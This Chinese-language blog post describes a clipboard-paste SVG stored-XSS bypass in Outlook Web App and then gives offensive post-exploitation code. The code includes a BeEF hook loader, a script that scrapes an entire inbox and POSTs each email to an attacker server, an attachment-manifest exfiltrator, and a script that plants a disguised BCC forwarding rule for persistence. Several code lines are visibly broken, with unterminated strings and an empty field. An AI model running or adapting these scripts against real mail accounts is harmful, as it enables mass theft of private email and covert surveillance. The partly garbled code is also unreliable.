outlookweb的绕过文件上传新技术

Posted by Closure on September 29, 2025

https://infosecwriteups.com/new-technique-bypass-file-upload-4c18cef9f9ed

这是一种存在Outlook Web App的关键逻辑缺陷,因为应用程序对粘贴内容和附件上传内容采用了不同的安全处理流程。

这次不是像操纵文件扩展名orMIME类型的过滤器规避手段,利用的是浏览器原生的Clipboard API与富文本编辑器的交互行为,当攻击者复制一个恶意的SVG文件时,浏览器会将内容解释为HTML片段,然后当用户将此内容粘贴到电子邮件正文的富文本编辑器中之后,这个SVG的XML代码被直接嵌入到邮件的文档对象DOM中,来规避安全审查流程。

⬆️后果就是导致一个高危的Stored XSS漏洞,红队能够在受害者的Web邮件客户端中执行任意JavaScript代码。这个攻击面在于不同用户输入功能之间存在的逻辑脱节,攻击行为完全发生在客户端的用户操作层面,在HTTP请求形成之前就已完成了,服务器最终接收到的是一个合法的、包含HTML内容的请求而不是文件上传请求。

贴一段研究员的文章原文: 当您按下Ctrl+C 和 Ctrl+V 时浏览器中会发生什么? 步骤 1:复制(Ctrl+C) 当您从计算机中选择一个文件(例如,test.svg)并按 Ctrl+C 时,将发生以下情况:操作系统 (OS) 将文件放入剪贴板 在 Windows 和 macOS 中,当您按下 Ctrl+C 时,与 test.svg 相关的数据将存储在系统的剪贴板 API 中。 该数据可以包括原始文件字节、元数据,甚至其 MIME 类型(例如,image/svg+xml)。

剪贴板 API 保存信息 浏览器可以使用剪贴板 API 来检查剪贴板中的内容。 根据数据类型,浏览器可以从剪贴板中检索文本、图像甚至完整文件。

步骤 2:粘贴(Ctrl+V)到 Outlook Web 当您在电子邮件正文中按下 Ctrl+V 时,会发生几件重要的事情:

场景 1:粘贴到 contentEditable 字段(Outlook Web)

由于Outlook Web 使用 contentEditable,因此浏览器会检查复制的数据: 浏览器查询剪贴板 API:“剪贴板中是否有文件或 HTML 内容?” 如果存在文件(如 test.svg),浏览器会检查该文件类型是否允许直接粘贴到 contentEditable 字段中。

由于 SVG 是基于文本的文件(基于 XML),因此浏览器可能会将其内容视为 HTML 文本而不是文件。

结果,浏览器将 test.svg 的内容直接插入电子邮件正文中 - 就好像用户粘贴了 HTML 片段一样!

附加文件&从剪贴板粘贴用户工作流

附加文件:在此工作流中用户选择一个文件,文件通过一个Content-Type为multipart/form-data的POST请求发送到服务器,服务器将此文件作为一个独立的实体接收然后启动一个专门的安全处理管道。管道包括了文件扩展名验证&MIME类型检查&恶意内容扫描,处理完成后文件被安全地存储并以附件形式链接到邮件中。 从剪贴板粘贴:此工作流是用户复制一个本地文件,操作系统与浏览器通过剪贴板API存储该文件的内容及其元数据,当用户在Outlook邮件编辑器中执行粘贴操作时,浏览器的API会通知编辑器有HTML兼容的内容可用。编辑器接下来选择直接将SVG的XML内容作为HTML片段嵌入到邮件正文的DOM中。最后服务器收到的是一个包含邮件正文的单一数据块,里面嵌入了SVG代码而不是一个待处理的文件。

这个漏洞的实现依赖粘贴板API和富文本编辑器。

现代剪贴板API已经不是一个简单的文本缓冲区了,它能够同时持有多种数据格式,当粘贴操作发生时接收应用程序可以查询剪贴板中可用的数据格式,并选择其支持的最丰富的一种。在这个案例里面Outlook的富文本编辑器优先处理了SVG的HTML/XML表示,而不是将视为一个原始文件。

WYSIWYG也可以作为攻击面,因为现代邮件编辑器是复杂的浏览器内富文本编辑器,通常使用contentEditable属性实现。这些编辑器被设计用于处理复杂的HTML内容,漏洞的产生是因为编辑器隐式地信任了由剪贴板API提供的HTML片段。

复现

前置条件

一个Outlook Web App账户 一个Chrome或者Firefox 一个创建SVG文件的文本编辑器 一个Burp Suite

在自己服务器运行BeEF,然后生成一个hook.js的URL,这个就是SVGplayload的s.src部分。预期结果是当受害者打开包含SVG的邮件时hook.js被加载并执行,在我们的BeEF控制面板中Online Browsers列表下会出现一个新的条目,我们就可以在Commands执行各种后渗透模块,像配置ARE这些(

简单来讲先创建脚本元素 s=document.createElement(‘script’) 在当前网页的文档对象模型中创建了一个新的 空的,变量s现在指向这个新创建的元素。

第二步是指定脚本来源 s.src=’https://YOUR-BEEF-SERVER:3000/hook.js’ 设置了新创建的

最后一步是将脚本注入页面,把我们刚刚创建并配置好的

这种加载器模式相比于将所有恶意代码都写在SVG里,更有隐蔽性和绕过能力。我们初始playload非常小而且看似无害,只包含创建和加载脚本的合法JavaScript函数,不包含任何可疑的字符串。

只要hook.js执行就会建立一个持久的双向通信通道,只要受害者保持该网页标签页打开,我们就可以随时通过BeEF的控制面板向其浏览器发送新的命令并接收结果。

扩展

Automated Inbox Data Mining,将整个收件箱的内容窃取到我们控制的服务器。

现代Web邮件应用是单页应用,前端界面通过调用内部API来获取和展示数据,我们不需要去解析HTML屏幕内容,直接利用这些API就行。

攻击前自己本地观察下在进行正常操作时,前端向后端发送了哪些API请求,记录下这些关键API的URL&请求方法&数据格。

脚本

const ATTACKER_SERVER_URL = 'https://attacker-server.com/log';

function exfiltrateData(dataType, data) {
    const payload = {
        type: dataType,
        victim: document.domain, 
        lootedData: btoa(JSON.stringify(data)) 
    };

    fetch(ATTACKER_SERVER_URL, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(payload),
        mode: 'no-cors' // 使用no-cors模式忽略CORS策略,请求能发出但无法读取响应
    });
}

async function startInboxMining() {
    console.log('[+] 开始收件箱数据挖掘...');
    let page = 1;
    let hasMoreEmails = true;

    while (hasMoreEmails) {
        try {
            //获取邮件列表
            const listResponse = await fetch(`/api/v2/emails?folder=inbox&page=${page}`);
            const emailList = await listResponse.json();

            if (emailList.emails && emailList.emails.length > 0) {
                console.log(`[+]`);

                
                for (const emailHeader of emailList.emails) {
                    const detailResponse = await fetch(`/api/v2/email/${emailHeader.id}`);
                    const fullEmail = await detailResponse.json();

                  
                    exfiltrateData('full_email', fullEmail);
                }
                page++;
            } else {
                hasMoreEmails = false; 
            }
        } catch (error) {
            console.error('[-] );
            hasMoreEmails = false; 
        }
    }
    console.log('[+]');
}

startInboxMining();

Attachment Information Extraction,识别并记录所有邮件中的附件,是之前挖掘脚本的延伸,在抓取每封邮件的完整内容时返回的JSON对象中会有一个专门的字段用于描述附件,脚本会专门解析这个attachments数组提取出每个附件的文件名、文件类型和下载链接,然后脚本会将这些提取出的附件信息整理成一个清单。

如果我们目标明确,脚本可以被编程为自动调用download_url来获取附件的二进制数据,然后发送给我们。(隐蔽通信的前提下

async function processSingleEmail(emailId) {
    try {
        const detailResponse = await fetch(`/api/v2/email/${emailId}`);
        const fullEmail = await detailResponse.json();

        exfiltrateData('full_email_with_attachments', fullEmail);
        
        if (fullEmail.attachments && fullEmail.attachments.length > 0) {
            console.log(``);
            
            const attachmentList = fullEmail.attachments.map(att => ({
                emailId: emailId,
                filename: att.filename,
                filetype: att.mimetype,
                size: att.size,
                downloadUrl: att.download_url 
            }));

            
            exfiltrateData('attachment_manifest', attachmentList);
        }
    } catch (error) {
        console.error(`);
    }
}

// for (const emailHeader of emailList.emails) {
//     processSingleEmail(emailHeader.id);
// }

创建静默邮件转发规则来实现长期情报监控的目标是建立一个隐蔽长期的通道,在XSS漏洞被修复之后依然有效。

预先研究下邮件应用的设置功能,找到用于创建或修改邮件规则的API端点,然后构建转发规则,脚本构造一个JSON对象 定义一条新的邮件规则,这条规则的逻辑是:对所有收到的邮件和所有发送的邮件生效。然后将该邮件的副本,以BCC的方式转发到我们外部邮箱地址。

const ATTACKER_FORWARDING_EMAIL = 'attacker-drop-box@email.com';

async function createSilentForwardingRule() {
    console.log('');

    const ruleDefinition = {
        name: "System Backup Sync", 
        priority: 0, 
        enabled: true,
        conditions: {
            
            from: ["*"], 
            to: ["*"]
        },
        actions: {
            
            forwardBcc:,
            stopProcessing: false
        }
    };

    try {
        
        const response = await fetch('/api/v2/settings/rules', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
                
                'X-CSRF-Token': 'fetch-from-page-or-cookie' 
            },
            body: JSON.stringify(ruleDefinition)
        });

        if (response.ok) {
            const result = await response.json();
            console.log(');
            exfiltrateData('forwarding_rule_success', { rule: ruleDefinition, response: result });
        } else {
            const errorText = await response.text();
            console.error(');
            exfiltrateData('forwarding_rule_failed', { status: response.status, error: errorText });
        }
    } catch (error) {
        console.error(');
    }
}

createSilentForwardingRule();